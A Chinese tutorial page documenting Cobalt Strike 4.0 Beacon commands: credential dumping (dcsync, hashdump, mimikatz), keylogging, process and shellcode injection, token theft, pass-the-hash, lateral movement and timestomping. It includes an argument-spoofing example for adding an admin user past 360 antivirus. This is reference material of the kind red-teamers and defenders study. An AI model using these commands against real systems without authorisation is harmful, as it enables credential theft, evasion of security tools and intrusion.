Cobalt Strike Beacon命令

之前介绍过Beacon控制台但是并没有详细的讲现在就来详细的说一下相关的Beacon命令以及Script Console模块

Beacon控制台

Beacon控制台这是一个非常常用的地方攻击者在这里输入指令并等待执行显示结果,这里是输入命令和显示相关信息的地方,向 Beacon 发出的每个命令,无论是通过 GUI 还是控制台,都会在此窗口中显示出来。如果一个队友发送了一个命令Beacon则在显示时会在命令前显示他们的昵称

Beacon是异步有效负载。命令不会立即执行。每个命令都进入队列。当Beacon回连时,它将接收这些命令并逐个执行,然后Beacon会将所有的输出显示在Beacon控制台上。如果不小心误输入,可以使用clear命令清除当前Beacon的命令队列(在Beacon还没有回连接收任务前,如果Beacon已经回连接收到了命令那么clear命令是不起作用的)。

默认情况下,Beacon每60秒连接检查一次,可以使用sleep命令更改此设置。sleep以秒为单位指定Beacon检查的频率。如sleep 5(每5秒钟检查一次)。还可以指定0到99之间为第二个参数。此参数为随机数。Beacon会根据指定的随机百分比来改变每个检查的时间。如,sleep 300 20将使Beacon以20%的随机数睡眠300秒。这将使Beacon在240到300秒之间随机检查一次。

如果设置sleep 0这将使用交互模式。在交互模式下,命令将立即执行。如果你要使用隧道你必须使得你的 Beacon 处于交互模式下。一些 Beacon 命令 (如 browerpivot 、desktop 等)会自动的使 Beacon 在下次连接到你时处于交互式模式下。

Beacon命令

下面介绍CS 4.0 Beacon中全部命令同时部分命令相关的原理我会放到原理介绍中讲

help 帮助命令显示全部命令
help xxx 显示某个命令的详细信息
argue 进程参数欺骗

argue [command] [fake arguments]
argue 命令 假参数 欺骗某个命令参数

argue [command]
argue 命令 取消欺骗某个命令参数

利用这个也可以绕过360添加用户(非核晶模式非x86)比如:
argue net1 /hello /hello /hello /hello /hello
run net1 user admin 123451 /add
注:假参数需要比真命令长
blockdlls 阻止子进程加载非微软签名的dll

blockdlls [start|stop]
blockdlls start 启动此策略
blockdlls stop 关闭此策略

启动此策略后创建的子进程加载非微软签名的dll时会被阻止
注:此特性是windows10自身特性,需要目标为windows10才能成功启用
browserpivot 浏览器代理前面介绍过
browserpivot [pid] [x86|x64]
browserpivot [stop]
cancel 取消正在进行的文件下载

cancel filename
cd			切换目录
checkin 强制回连时发送主机信息
covertvpn 部署Covert VPN客户端,注:没啥用的功能不做介绍

covertvpn [interface] [ip address]
clear 清空Beacon任务列队
connect 连接到一个TCP Beacon
connect [target] [port]
cp			复制文件
dcsync			从域控中提取密码哈希
dcsync [DOMAIN.FQDN] 提取所有帐户的密码哈希
dcsync [DOMAIN.FQDN] [DOMAIN\user] 特定用户的
desktop VNC远程桌面
desktop pid [x86|x64] low|high 将vnc服务dll注入到指定进程中运行
注:需要确保cs服务端有vnc dll
dllinject 反射dll进程注入
dllinject pid dllpath
注:路径为本机路径
dllload 使用LoadLibrary函数进行dll注入
dllload pid dllpath 
注:LoadLibrary函数 dll注入,目标机上必须存在被注入的dll
download 下载目标机文件
download filepath
downloads 列出正在下载的文件
drives 列出目标机上所有的磁盘盘符
elevate 提权并生成一个高权限会话
elevate [exploit] [listener]
execute 执行程序(无回显)
execute [program] [arguments]
execute-assembly 内存加载执行.NET程序集
execute-assembly .netpath [arguments]
注:就是普通的内存加载执行.net程序
exit 结束Beacon进程
getprivs 启用当前访问令牌所拥有的特权
注:你可以通过shell whoami /all查看详细信息
getsystem 尝试模拟一个SYSTEM账号的令牌获取System权限
getuid 获取当前令牌关联的用户ID
hashdump 转储密码哈希
inject 在指定进程中派生会话
inject [pid] <x86|x64> [listener]
inline-execute	在Beacon会话中执行Beacon Object File (BOF)
inline-execute [/path/to/file.o] [args]
注:后面会详细讲解
jobs 查看后渗透任务列表
Beacon中有些功能会在其他进程中运行(例如键盘记录屏幕截图)
这些任务在后台中运行,并在可用时报告其输出
可以使用jobs查看Beacon中的所有任务
jobkill 结束一个在后台运行
jobkill [JID]
jump 在远程主机上执行payload生成一个会话
jump [exploit] [target] [listener]
此命令通过横向渗透在目标上执行payload生成会话(psexec winrm)
kerberos_ticket_purge 清除当前shell的Kerberos票据

kerberos_ccache_use 从ccache文件中导入Kerberos票据
kerberos_ccache_use [/path/to/file.ccache]

kerberos_ticket_use 从ticket文件中导入Kerberos票据
kerberos_ticket_use [/path/to/file.ticket]
注:域渗透相关
keylogger 将键盘记录器注入到一个进程运行
keylogger [pid] [x86|x64] 注入到指定进程
注:不带任何参数则临时生成一个进程注入
kill 结束指定进程
kill [pid]
link 前面介绍过了是用来连接SMB Beacon的
link ip pipe name
logonpasswords 执行mimikatz获取密码
ls 显示目标机当前目录
make_token 创建令牌前面有说过
make_token username pass
mimikatz 执行mimikatz命令
mimikatz [module::command] <args>
mimikatz [!module::command] <args>
mimikatz [@module::command] <args>
注:有些mimikatz命令需要system权限才能运行
!代表强制将mimikatz提升到SYSTEM,然后再运行命令
有些则需要使用Beacon当前访问令牌运行
@代表强制mimikatz使用Beacon当前访问令牌运行命令
mkdir 在目标机上创建目录
mode dns 使用DNS A作为数据通道(仅限DNS Beacon有效)
mode dns6 使用DNS AAAA作为数据通道(仅限DNS Beacon有效)
mode dns-txt 使用DNS TXT作为数据通道(仅限DNS Beacon有效)
注:DNS Beacon默认使用DNS TXT作为数据通道
mv 移动目标机上的文件
net 在目标上执行net命令
note 为当前Beacon会话备注
portscan 扫描端口
portscan [targets] [ports] [arplicmp Inone] [max connections]
注:前面有说过
powerpick 非托管powershell技术
powerpick [commandlet] [arguments]
注:非托管powershell技术就是不使用powershell.exe程序来执行powershell命令
powershell 通过powershell.exe执行命令
powershell-import	导入Powershell脚本
ppid 父进程欺骗
ppid [pid] 将指定进程作为父进程
ppid 直接执行ppid取消父进程欺骗
注:父进程欺骗顾名思义就是伪造子进程的父进程为指定进程。
这个听起来有点绕其实以前对抗过某杀软的应该都知道过父都是为了达到同一个目的
ps 显示进程列表
psinject 在指定进程中执行PowerShell命令
psinject [pid] [arch] [commandLet] [arguments]
pth hash传递攻击
pth [DOMAIN\user] [NTLM hash]
pwd	显示当前所在目录
reg 注册表查询命令(仅能查询)
reg query [x86|x64] [root\path]
reg queryv [x86|x64] [root\path] [subkey]
remote-exec 在远程主机上执行命令
remote-exec [method] [target] [command]
和上面那个在远程主机上执行payload生成会话的没啥区别只不过变成了执行命令
rev2self 恢复Beacon原始令牌
rm 删除文件
rportfwd 反向端口转发
rportfwd [bind port] [forward host] [forward port] 开启端口转发
rportfwd stop [bind port] 停止指定端口转发

rportfwd 本机端口 目标ip 目标端口  
本地端口指Beacon要监听的端口
目标ip指需要转发到的ip,目标端口指需要转发到的port
此转发的流量经过路径Beacon ----> cs teamserver -----> target host
rportfwd_local 反向端口转发(cs客户端本地)
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]

rportfwd 本机端口 目标ip 目标端口
此命令是rportfwd的变体只在流量转发路径上与rportfwd有所不同
此转发的流量经过路径Beacon ----> cs client -----> target host
run 在目标上执行程序(输出回显)
run [program] [arguments]
runas 以其他用户权限执行程序
runas [DOMAIN\user] [password] [command] [arguments]
注:相当于windows的runas命令
runasadmin 提权后执行命令
runasadmin [exploit] [command] [args]
注:与前面的elevate命令相似只不过变成了提权执行命令
runu 父进程欺骗
runu [pid] [command] [arguments]
注:与ppid差不多,runu使用指定进程作为父进程来执行命令
screenshot 截屏
setenv 设置环境变量
shell 通过cmd执行命令
shinject shellcode注入
shinject [pid] <x86|x64> shellcode_raw_path
注:使用时注意目标进程架构
sleep 设置beacon睡眠时间
socks SOCKS4代理(不建议使用)
socks [stop|port] 停止或在指定端口开启代理
spawn 派生会话
spawn [x86|x64] [listener]
注:默认情况下,spawn命令会在rundll32.exe中派生会话可以使用spawnto改变此默认
spawnas 以其他用户身份派生会话
spawnas [DOMAIN\user] [password] [listener]
spawnto 设置Beacon派生会话时使用的程序
spawnto [x86|x64] [程序路径]
注:此命令用来更改Beacon默认派生会话时使用的程序,比如
spawnto x64 C:\Windows\System32\notepad.exe
在派生一个新的x64会话时就会启动一个notepad进程来作为傀儡
直接输入spawnto回车代表清除设置使用默认配置
spawnu 在指定进程中派生会话
spawnu [pid] [listener]
ssh 使用ssh密码远程连接
ssh [target:port] [user] [pass]
注:通过Beacon内置的ssh客户端实现
ssh-key 使用SSH密钥远程连接
ssh [target:port] [user] [/path/to/key.pem]
注:和上一个没啥区别
steal_token 从进程中窃取访问令牌
steal_token [pid]
注:可以使用getuid命令会打印你的当前令牌,rev2self恢复的原始令牌。
timestomp 复制指定文件时间戳到其他文件
unlink 断开与子Beacon的连接
upload 上传文件

Script Console

? 执行sleep判断语句并输出结果
e 执行sleep说明语句
help 帮助
load 加载一个脚本
ls 列出加载的所有脚本
proff 关闭脚本分析器
pron 为开启脚本分析器
profile 脚本性能统计
reload 重新加载脚本
troff 关闭脚本跟踪功能
tron 开启脚本跟踪功能
unload 卸载脚本
x 执行sleep表达式并输出结果

最后更新于